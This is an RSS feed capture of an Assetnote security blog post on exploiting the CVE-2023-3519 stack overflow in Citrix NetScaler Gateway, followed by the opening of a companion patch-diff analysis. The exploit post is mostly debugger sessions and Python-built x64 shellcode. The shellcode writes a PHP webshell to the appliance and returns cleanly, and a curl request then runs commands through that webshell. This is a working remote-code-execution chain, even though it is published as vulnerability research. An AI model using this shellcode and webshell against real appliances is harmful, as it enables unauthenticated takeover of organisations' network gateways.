For bug reporting instructions, please see:
&amp;lt;https://www.gnu.org/software/gdb/bugs/&amp;gt;.
Find the GDB manual and other documentation resources online at:
    &amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.

For help, type &quot;help&quot;.
Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;.
Attaching to process 27
Reading symbols from /netscaler/pitboss...
(No debugging symbols found in /netscaler/pitboss)
Reading symbols from /usr/lib32/libnsapps.so...
(No debugging symbols found in /usr/lib32/libnsapps.so)
Reading symbols from /usr/lib32/libc.so.7...
(No debugging symbols found in /usr/lib32/libc.so.7)
Reading symbols from /usr/lib32/libcrypto.so.8...
(No debugging symbols found in /usr/lib32/libcrypto.so.8)
Reading symbols from /usr/lib32/libssl.so.8...
(No debugging symbols found in /usr/lib32/libssl.so.8)
Reading symbols from /usr/lib32/libm.so.5...
(No debugging symbols found in /usr/lib32/libm.so.5)
Reading symbols from /libexec/ld-elf32.so.1...
(No debugging symbols found in /libexec/ld-elf32.so.1)
[Switching to LWP 100136 of process 27]
0x28414763 in _kevent () from /usr/lib32/libc.so.7


[1]+  Stopped                 gdb -p 27
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We were then free to start debugging with GDBServer. We used the serial device &lt;code&gt;/dev/cuau0&lt;/code&gt; as the transport and attached to &lt;code&gt;nsppe&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;root@ns# gdbserver /dev/cuau0 --attach 453
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On the host side we ran GDB, loaded in the &lt;code&gt;nsppe&lt;/code&gt; binary and called &lt;code&gt;target remote 127.0.0.1:12345&lt;/code&gt; to connect to GDBServer.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ gdb
For help, type &quot;help&quot;.
Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;.
gdb-peda$ file ./unpatched/nsppe
Reading symbols from ./unpatched/nsppe...
(No debugging symbols found in ./unpatched/nsppe)
gdb-peda$ target remote 127.0.0.1:12345
Remote debugging using 127.0.0.1:12345
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x117802860 --&amp;gt; 0x0
RCX: 0x114c11000 --&amp;gt; 0x10a865b80 --&amp;gt; 0x11aaaaaa
RDX: 0xda
RSI: 0xfd
RDI: 0x114c4ecc0 --&amp;gt; 0x0
RBP: 0x7fffffffe8e0 --&amp;gt; 0x7fffffffe940 --&amp;gt; 0x7fffffffe970 --&amp;gt; 0x7fffffffe9a0 --&amp;gt; 0x7fffffffe9b0 --&amp;gt; 0x7fffffffe9e0 (--&amp;gt; ...)
RSP: 0x7fffffffe8c0 --&amp;gt; 0x0
RIP: 0x1e418c6 --&amp;gt; 0x4d30c383483b8b4c
R8 : 0x803962000 --&amp;gt; 0x0
R9 : 0x1f46a
R10: 0x1
R11: 0x119204000 --&amp;gt; 0xfa00
R12: 0x93dc568
R13: 0x2c93000 (0x0000000002c93000)
R14: 0x1
R15: 0x114c4ecc0 --&amp;gt; 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x1e418c0 &amp;lt;vc_idle_poll+64&amp;gt;:	test   eax,eax
   0x1e418c2 &amp;lt;vc_idle_poll+66&amp;gt;:	jne    0x1e418d5 &amp;lt;vc_idle_poll+85&amp;gt;
   0x1e418c4 &amp;lt;vc_idle_poll+68&amp;gt;:	pause
=&amp;gt; 0x1e418c6 &amp;lt;vc_idle_poll+70&amp;gt;:	mov    r15,QWORD PTR [rbx]
   0x1e418c9 &amp;lt;vc_idle_poll+73&amp;gt;:	add    rbx,0x30
   0x1e418cd &amp;lt;vc_idle_poll+77&amp;gt;:	test   r15,r15
   0x1e418d0 &amp;lt;vc_idle_poll+80&amp;gt;:	jne    0x1e418b0 &amp;lt;vc_idle_poll+48&amp;gt;
   0x1e418d2 &amp;lt;vc_idle_poll+82&amp;gt;:	xor    r14d,r14d
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe8c0 --&amp;gt; 0x0
0008| 0x7fffffffe8c8 --&amp;gt; 0x0
0016| 0x7fffffffe8d0 --&amp;gt; 0x93dc568
0024| 0x7fffffffe8d8 --&amp;gt; 0x8000000000000000
0032| 0x7fffffffe8e0 --&amp;gt; 0x7fffffffe940 --&amp;gt; 0x7fffffffe970 --&amp;gt; 0x7fffffffe9a0 --&amp;gt; 0x7fffffffe9b0 --&amp;gt; 0x7fffffffe9e0 (--&amp;gt; ...)
0040| 0x7fffffffe8e8 --&amp;gt; 0x15c3f89 --&amp;gt; 0x467850fc085
0048| 0x7fffffffe8f0 --&amp;gt; 0x7fffffffe920 --&amp;gt; 0x0
0056| 0x7fffffffe8f8 --&amp;gt; 0xf668e5 --&amp;gt; 0x1be41c085
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSTOP
0x0000000001e418c6 in vc_idle_poll ()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Although the setup was not perfect, there were still occasionally issues where single-stepping instructions at certain locations caused the program to behave differently. This was still much better than the tiny console window.&lt;/p&gt;

&lt;h1 id=&quot;dissecting-the-crash&quot;&gt;Dissecting the Crash&lt;/h1&gt;

&lt;p&gt;We set a breakpoint on &lt;code&gt;ns_aaa_gwtest_get_valid_fsso_server&lt;/code&gt; and sent through the payload. We stepped through the function call up to where it called the vulnerable function &lt;code&gt;ns_aaa_gwtest_get_event_and_target_names&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;   0xc7fa7c &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+60&amp;gt;:	mov    DWORD PTR [rbp-0xc],0x0
   0xc7fa83 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+67&amp;gt;:	lea    rsi,[rbp-0xa0]
   0xc7fa8a &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+74&amp;gt;:	lea    rdx,[rbp-0x1c]
=&amp;gt; 0xc7fa8e &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+78&amp;gt;:	call   0xc82bb0 &amp;lt;ns_aaa_gwtest_get_event_and_target_names&amp;gt;
   0xc7fa93 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+83&amp;gt;:	test   eax,eax
   0xc7fa95 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+85&amp;gt;:	je     0xc7fa9b &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+91&amp;gt;
   0xc7fa97 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+87&amp;gt;:	xor    ebx,ebx
   0xc7fa99 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+89&amp;gt;:	jmp    0xc7fac7 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+135&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Stepping over this call frequently resulted in unrelated errors. To fix this we set a breakpoint just after the call at &lt;code&gt;0xc7fa93&lt;/code&gt; instead. When we ran the exploit again we saw a corrupted call stack but the application had not yet crashed. This can be seen in the snippet below, the &lt;code&gt;backtrace&lt;/code&gt; command shows the call stack was filled with &lt;code&gt;0x41&lt;/code&gt;, the &lt;code&gt;A&lt;/code&gt; character we used in the payload.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;[-------------------------------------code-------------------------------------]
   0xc7fa83 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+67&amp;gt;:	lea    rsi,[rbp-0xa0]
   0xc7fa8a &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+74&amp;gt;:	lea    rdx,[rbp-0x1c]
   0xc7fa8e &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+78&amp;gt;:	call   0xc82bb0 &amp;lt;ns_aaa_gwtest_get_event_and_target_names&amp;gt;
=&amp;gt; 0xc7fa93 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+83&amp;gt;:	test   eax,eax
   0xc7fa95 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+85&amp;gt;:	je     0xc7fa9b &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+91&amp;gt;
   0xc7fa97 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+87&amp;gt;:	xor    ebx,ebx
   0xc7fa99 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+89&amp;gt;:	jmp    0xc7fac7 &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+135&amp;gt;
   0xc7fa9b &amp;lt;ns_aaa_gwtest_get_valid_fsso_server+91&amp;gt;:	lea    rbx,[rbp-0xa0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffc120 --&amp;gt; 0x0
0008| 0x7fffffffc128 --&amp;gt; 0x0
0016| 0x7fffffffc130 ('A' &amp;lt;repeats 200 times&amp;gt;...)
0024| 0x7fffffffc138 ('A' &amp;lt;repeats 192 times&amp;gt;, &quot; &quot;)
0032| 0x7fffffffc140 ('A' &amp;lt;repeats 184 times&amp;gt;, &quot; &quot;)
0040| 0x7fffffffc148 ('A' &amp;lt;repeats 176 times&amp;gt;, &quot; &quot;)
0048| 0x7fffffffc150 ('A' &amp;lt;repeats 168 times&amp;gt;, &quot; &quot;)
0056| 0x7fffffffc158 ('A' &amp;lt;repeats 160 times&amp;gt;, &quot; &quot;)
[------------------------------------------------------------------------------]
gdb-peda$ backtrace
#0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#6  0x0000000000000000 in ?? ()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We knew the new length check was 128 bytes in the patched version, so we updated the payload with multiples of &lt;code&gt;B&lt;/code&gt;, &lt;code&gt;C&lt;/code&gt;, &lt;code&gt;D&lt;/code&gt; towards the suspected end of the buffer. Our goal was to find how much space we had to fill before overwriting a return address. A less haphazard approach such as a binary search may have been quicker here, but we had good visibility and the addresses did not change between runs. Eventually we ran the payload &lt;code&gt;'A' * 160 + 'B' * 8 + 'C' * 8 + 'D' * 8&lt;/code&gt; and saw &lt;code&gt;0x4343434343434343&lt;/code&gt; (the 8 &lt;code&gt;C&lt;/code&gt; bytes) filled the return address. This can be seen below.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x4343434343434343 in ?? ()
#2  0x4444444444444444 in ?? ()
#3  0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#4  0x0000000002f75a01 in ns_default_partition ()
#5  0x00000000034ab320 in ?? ()
#6  0x0000000000000000 in ?? ()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This meant we had a buffer of 168 bytes, followed by the address we wanted to return to. Since the stack is marked as executable, we decided to jump to the start of the buffer at &lt;code&gt;0x7fffffffc130&lt;/code&gt;. We put together the following payload, four &lt;code&gt;nop&lt;/code&gt; instructions for the shellcode, the return address and the rest padded to fill up to 168 bytes.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode = b'\x90\x90\x90\x90'
return_address = b'\x30\xc1\xff\xff\xff\x7f\x00\x00'
padding = b'A' * (168 - len(shellcode))
payload = shellcode + padding + return_address
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Attempts were made to URL encode all bytes, but we would later learn that there is a bug in the URL decoding which affects bytes greater than &lt;code&gt;0xa0&lt;/code&gt;. We chose to only URL encode a few characters, adding troublesome bytes to a list as we encountered them. We ran the exploit, and continued execution from the breakpoint until the end of the function. Upon returning we found execution neatly at the start of the four &lt;code&gt;nop&lt;/code&gt; instructions.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ finish
Run till exit from #0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
[-------------------------------------code-------------------------------------]
   0x7fffffffc12a:	add    BYTE PTR [rax],al
   0x7fffffffc12c:	add    BYTE PTR [rax],al
   0x7fffffffc12e:	add    BYTE PTR [rax],al
=&amp;gt; 0x7fffffffc130:	nop
   0x7fffffffc131:	nop
   0x7fffffffc132:	nop
   0x7fffffffc133:	nop
   0x7fffffffc134:	rex.B
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;exiting-cleanly&quot;&gt;Exiting Cleanly&lt;/h1&gt;

&lt;p&gt;In order to add a check for this vulnerability to our platform, the exploit has to execute without interrupting the service. We needed some shellcode that would clean up after the exploit and enable the application to continue normal operation. To do this we set a breakpoint at &lt;code&gt;ns_aaa_gwtest_get_valid_fsso_server&lt;/code&gt; and inspected the call stack before the overflow was triggered. This would help us understand where execution would continue from under normal circumstances.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Breakpoint 4, 0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0  0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x0000000000c7f4b2 in ns_aaa_gwtest_handler ()
#2  0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#3  0x000000000078245b in ns_aaa_cookie_valid ()
#4  0x00000000007923c3 in ns_aaa_client_handler ()
#5  0x0000000001e14f89 in nshttp_handler ()
#6  0x000000000113aa27 in nsssl_handlePkt ()
#7  0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#8  0x00000000014e6d5e in ssl3_accept ()
#9  0x00000000014d34f5 in SSL_input ()
#10 0x000000000113a7cc in nsssl_handler ()
#11 0x000000000113a412 in nsssl_generic_handler ()
#12 0x0000000001e5aeb0 in nstcp_input ()
#13 0x0000000001e4bc5a in handleL4Session ()
#14 0x0000000001e48c21 in dispatch_tcp ()
#15 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#16 0x0000000001e41c09 in vc_poll ()
#17 0x00000000015c858f in ns_netio ()
#18 0x00000000015c8422 in packet_engine ()
#19 0x0000000001a5ffb5 in ns_enter_main ()
#20 0x0000000001a643dd in main ()
#21 0x00000000004002db in _start ()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We continued execution and stopped when we reached the shellcode. At this point we looked at the 20 64-bit words from the top of the stack to see if any matched the return addresses we saw in the previous backtrace. At &lt;code&gt;0x7fffffffc210&lt;/code&gt; we saw the pushed &lt;code&gt;rbp&lt;/code&gt; value followed by the return address of &lt;code&gt;ns_vpn_process_unauthenticated_request&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;0x00007fffffffc130 in ?? ()
gdb-peda$ x/20g $rsp
0x7fffffffc1e0:	0x0000000000000020	0x00000000034ab344
0x7fffffffc1f0:	0x0000000002f75a01	0x00000000034ab320
0x7fffffffc200:	0x0000000000000000	0x0000000000000001
0x7fffffffc210:	0x00007fffffffd430	0x0000000000743e6d &amp;lt;-- matches ns_vpn_process_unauthenticated_request
0x7fffffffc220:	0x00007fffffffc270	0x0000000001dda811
0x7fffffffc230:	0x00007fffffffc280	0x0000000001dda811
0x7fffffffc240:	0x00007fffffffc4a8	0x0000000000007fff
0x7fffffffc250:	0x00007fffffffc6b8	0x0000000000007fff
0x7fffffffc260:	0x0000000000000005	0x000000000234bd3e
0x7fffffffc270:	0x0000000000007fff	0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Subtracting the current &lt;code&gt;rsp&lt;/code&gt; value (&lt;code&gt;0x7fffffffc1e0&lt;/code&gt;) from the target &lt;code&gt;rsp&lt;/code&gt; value (&lt;code&gt;0x7fffffffc210&lt;/code&gt;), gave us a difference of &lt;code&gt;0x30&lt;/code&gt;. We then added the following assembly instruction to the shellcode. This would increment the stack pointer, pop the stored base pointer and then continue execution of &lt;code&gt;ns_vpn_process_unauthenticated_request&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30
shellcode += b'\x5d'             # pop rbp
shellcode += b'\xc3'             # ret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We ran the new exploit, stepped through the shellcode right up until the &lt;code&gt;ret&lt;/code&gt; instruction and looked at the call stack. As you can see below, everything looked good. At this stage we were able to run the exploit repeatedly without interrupting the service.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;[-------------------------------------code-------------------------------------]
   0x7fffffffc12f:	add    BYTE PTR [rax+0x48909090],dl
   0x7fffffffc135:	add    esp,0x30
   0x7fffffffc138:	pop    rbp
=&amp;gt; 0x7fffffffc139:	ret
   0x7fffffffc13a:	rex.B
   0x7fffffffc13b:	rex.B
   0x7fffffffc13c:	rex.B
   0x7fffffffc13d:	rex.B
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007fffffffc139 in ?? ()
gdb-peda$ backtrace
#0  0x00007fffffffc139 in ?? ()
#1  0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#2  0x000000000078245b in ns_aaa_cookie_valid ()
#3  0x00000000007923c3 in ns_aaa_client_handler ()
#4  0x0000000001e14f89 in nshttp_handler ()
#5  0x000000000113aa27 in nsssl_handlePkt ()
#6  0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#7  0x00000000014e6d5e in ssl3_accept ()
#8  0x00000000014d34f5 in SSL_input ()
#9  0x000000000113a7cc in nsssl_handler ()
#10 0x000000000113a412 in nsssl_generic_handler ()
#11 0x0000000001e5aeb0 in nstcp_input ()
#12 0x0000000001e4bc5a in handleL4Session ()
#13 0x0000000001e48c21 in dispatch_tcp ()
#14 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#15 0x0000000001e41c09 in vc_poll ()
#16 0x00000000015c858f in ns_netio ()
#17 0x00000000015c8422 in packet_engine ()
#18 0x0000000001a5ffb5 in ns_enter_main ()
#19 0x0000000001a643dd in main ()
#20 0x00000000004002db in _start ()
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;writing-an-exploit&quot;&gt;Writing an Exploit&lt;/h1&gt;

&lt;p&gt;We now had a reliable starting point, all we had to do was write shellcode that would execute arbitrary commands. The approach we settled on was to write a small webshell to a file and then call that with a separate request. To do this we modified the payload to start with the filename and file contents. We also had to update the return address to land after this point in the buffer. We now had the following shellcode.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'&amp;lt;?php+system($_GET[0]);+?&amp;gt;\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'                           # ret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Unfortunately, when we looked at the buffer, a null byte had been inserted midway through.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gdb-peda$ x/3s 0x7fffffffc130
0x7fffffffc130:	&quot;/var/vpn/theme/x.php&quot;
0x7fffffffc145:	&quot;&amp;lt;?php system&quot;
0x7fffffffc152:	&quot;$_GET[0]); ?&amp;gt;&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;To fix this we added some padding, the last of which would be converted to a null byte. The shellcode was now the following.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'AAAAAAAAAAAAA'                  # 13 bytes
shellcode += b'&amp;lt;?php+system($_GET[0]);+?&amp;gt;\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'                           # ret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first stage of the exploit would be making the &lt;code&gt;open&lt;/code&gt; syscall to get a file descriptor. Since NetScaler is based on FreeBSD we would be using the x64 System V ABI calling convention. The first three arguments to the call would be in registers &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt; and &lt;code&gt;rdx&lt;/code&gt;. The syscall number would be in &lt;code&gt;rax&lt;/code&gt; and it would be triggered via the &lt;code&gt;syscall&lt;/code&gt; instruction.&lt;/p&gt;

&lt;p&gt;To begin we copy &lt;code&gt;rsp&lt;/code&gt; to &lt;code&gt;rdi&lt;/code&gt; and then subtract &lt;code&gt;0xb0&lt;/code&gt; so that it points to the start of &lt;code&gt;/var/vpn/theme/x.php&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode += b'\x48\x89\xe7'                   # mov rdi, rsp 
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00'   # sub rdi, 0xb0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Next we needed to set the &lt;code&gt;flags&lt;/code&gt; argument, we wanted &lt;code&gt;O_CREAT | O_WRONLY&lt;/code&gt; to create the file and open it for writing. A small gotcha when looking up these constants is to ensure you get the FreeBSD values and not the Linux ones. On Linux &lt;code&gt;O_CREAT&lt;/code&gt; is &lt;code&gt;0x100&lt;/code&gt;, but on FreeBSD it is &lt;code&gt;0x200&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode += b'\xbe\x01\x02\x00\x00'           # mov esi, 0x201
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;For the final argument, we set the &lt;code&gt;mode&lt;/code&gt; to &lt;code&gt;0x1ff&lt;/code&gt; which corresponds to a &lt;code&gt;777&lt;/code&gt; file mode.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode += b'\xba\xff\x01\x00\x00'           # mov edx, 0x1ff
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Lastly, we set the &lt;code&gt;rax&lt;/code&gt; register to the open syscall number, which on FreeBSD is 5. We could then execute the syscall.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode += b'\xb8\x05\x00\x00\x00'           # mov eax, 0x5
shellcode += b'\x0f\x05'                       # syscall
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Next we needed to make a &lt;code&gt;write&lt;/code&gt; syscall. Since &lt;code&gt;rax&lt;/code&gt; should hold the file descriptor returned from the &lt;code&gt;open&lt;/code&gt; syscall, we copied that to the &lt;code&gt;rdi&lt;/code&gt; register. We then did the same &lt;code&gt;rsp&lt;/code&gt; trick as before to get a pointer to the file contents into the &lt;code&gt;rsi&lt;/code&gt; register. And lastly, we put the file size in bytes (&lt;code&gt;0x1a&lt;/code&gt;) into the &lt;code&gt;rdx&lt;/code&gt; register.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode += b'\x48\x89\xc7'                   # mov rdi, rax
shellcode += b'\x48\x89\xe6'                   # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00'   # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00'           # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00'           # mov eax, 0x4
shellcode += b'\x0f\x05'                       # syscall
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Next we made a &lt;code&gt;close&lt;/code&gt; syscall. The first and only argument was in &lt;code&gt;rdi&lt;/code&gt; and is the file descriptor which was unchanged from the previous call. So all we needed to do was set the &lt;code&gt;rax&lt;/code&gt; register and execute the &lt;code&gt;syscall&lt;/code&gt; instruction.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode += b'\xb8\x06\x00\x00\x00'           # mov rax, 0x6
shellcode += b'\x0f\x05'                       # syscall
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;At this stage, we now had the full payload which is shown below.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'AAAAAAAAAAAAA'                  # 13 bytes
shellcode += b'&amp;lt;?php+system($_GET[0]);+?&amp;gt;\x00' # 27 bytes

# open syscall
shellcode += b'\x48\x89\xe7'                   # mov rdi, rsp 
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00'   # sub rdi, 0xb0
shellcode += b'\xbe\x01\x02\x00\x00'           # mov esi, 0x201
shellcode += b'\xba\xff\x01\x00\x00'           # mov edx, 0x1ff
shellcode += b'\xb8\x05\x00\x00\x00'           # mov eax, 0x5
shellcode += b'\x0f\x05'                       # syscall

# write syscall
shellcode += b'\x48\x89\xc7'                   # mov rdi, rax
shellcode += b'\x48\x89\xe6'                   # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00'   # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00'           # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00'           # mov eax, 0x4
shellcode += b'\x0f\x05'                       # syscall

# close syscall
shellcode += b'\xb8\x06\x00\x00\x00'           # mov rax, 0x6
shellcode += b'\x0f\x05'                       # syscall

# cleanup
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'                           # ret

shellcode_encoded = tweaked_url_encode(shellcode)

return_address = b'\x6d\xc1\xff\xff\xff\x7f\x00\x00'
return_address_encoded = tweaked_url_encode(return_address)

padding = b'A' * (168 - len(shellcode))
payload = shellcode_encoded + padding + return_address_encoded
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;After executing this we could call the webshell as follows.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ curl -kv 'https://192.168.1.225/vpn/theme/x.php?0=uname%20-a'
FreeBSD ns 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun  3 00:57:48 PDT 2023     root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64  amd6
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Note that the response from this is cached by NetScaler, the only way we could find to clear the cache was a restart or by also running &lt;code&gt;/netscaler/nsapimgr_wr.sh -ys call=ns_ic_flush&lt;/code&gt;. A bit more work would be required to make this work in one shot, but for the purpose of proving exploitability this was all we needed.&lt;/p&gt;

&lt;h1 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h1&gt;

&lt;p&gt;In this post we saw an almost textbook example of a stack-based buffer overflow. The initial flaw was an unbounded copy, but this was exacerbated by having no other mitigations. The stack was executable, address space was not randomised, there were no stack canaries and the Gateway application is bundled with the network stack rather than in a separate process with less privileges. With no special configuration required and the popularity of this appliance this vulnerability has had a huge impact.&lt;/p&gt;

&lt;p&gt;We also saw the importance of good tooling. Our previous research on Citrix Gateway was definitely slowed by not having a decent debugging setup. And even in this case, where we had everything setup, the 30+ second restart time between crashes was a big dampener on how fast we could develop the exploit.&lt;/p&gt;

&lt;p&gt;As always, customers of our &lt;a href=&quot;https://assetnote.io&quot;&gt;Attack Surface Management platform&lt;/a&gt; have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.&lt;/p&gt;
</description>
        <pubDate>Wed, 09 Aug 2023 08:00:00 +1000</pubDate>
        <link>https://blog.assetnote.io/2023/08/09/exploiting-citrix-netscaler-cve-2023-3519/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/08/09/exploiting-citrix-netscaler-cve-2023-3519/</guid>
      </item>
    
      <item>
        <title>Analysis of CVE-2023-3519 in Citrix ADC and NetScaler Gateway (Part 2)</title>
        <description>&lt;p&gt;In our &lt;a href=&quot;/2023/07/21/citrix-CVE-2023-3519-analysis/&quot;&gt;last post&lt;/a&gt; we uncovered a vulnerability inside Citrix ADC and NetScaler Gateway that was in the patch fix for  CVE-2023-3519. It seems that this vulnerability, while also critical, is not the one that is being exploited in the wild by threat actors.&lt;/p&gt;

&lt;p&gt;We continued our analysis and discovered an endpoint which allowed for remote code execution without the need of any special configurations such as SAML being enabled. This vulnerability matches more closely with the description of the CVE, Citrix’s advisory and any other public research that has surfaced.&lt;/p&gt;

&lt;p&gt;By continuing our analysis of the patch diff, we discovered &lt;code&gt;ns_aaa_gwtest_get_event_and_target_names&lt;/code&gt; had some changes which are shown below.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// Unpatched Version

if (iVar3 + 1 == iVar7 + -6) {
 	iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
  	pcVar8 = local_38;
  	if (iVar3 == 0) {
    	uVar9 = 0x16000c;
  	} else {
    	*(undefined *)(param_2 + iVar3) = 0;
    	uVar9 = 0;
  	}
}

// Patched Version

if ((iVar3 + 1 == uVar8 - 6) &amp;amp;&amp;amp; (uVar9 = 0x160010, iVar3 &amp;lt; 0x80)) {
	iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
	pcVar7 = local_38;
	if (iVar3 == 0) {
  		uVar9 = 0x16000c;
	} else {
  		*(undefined *)(param_2 + iVar3) = 0;
  		uVar9 = 0;
	}
}
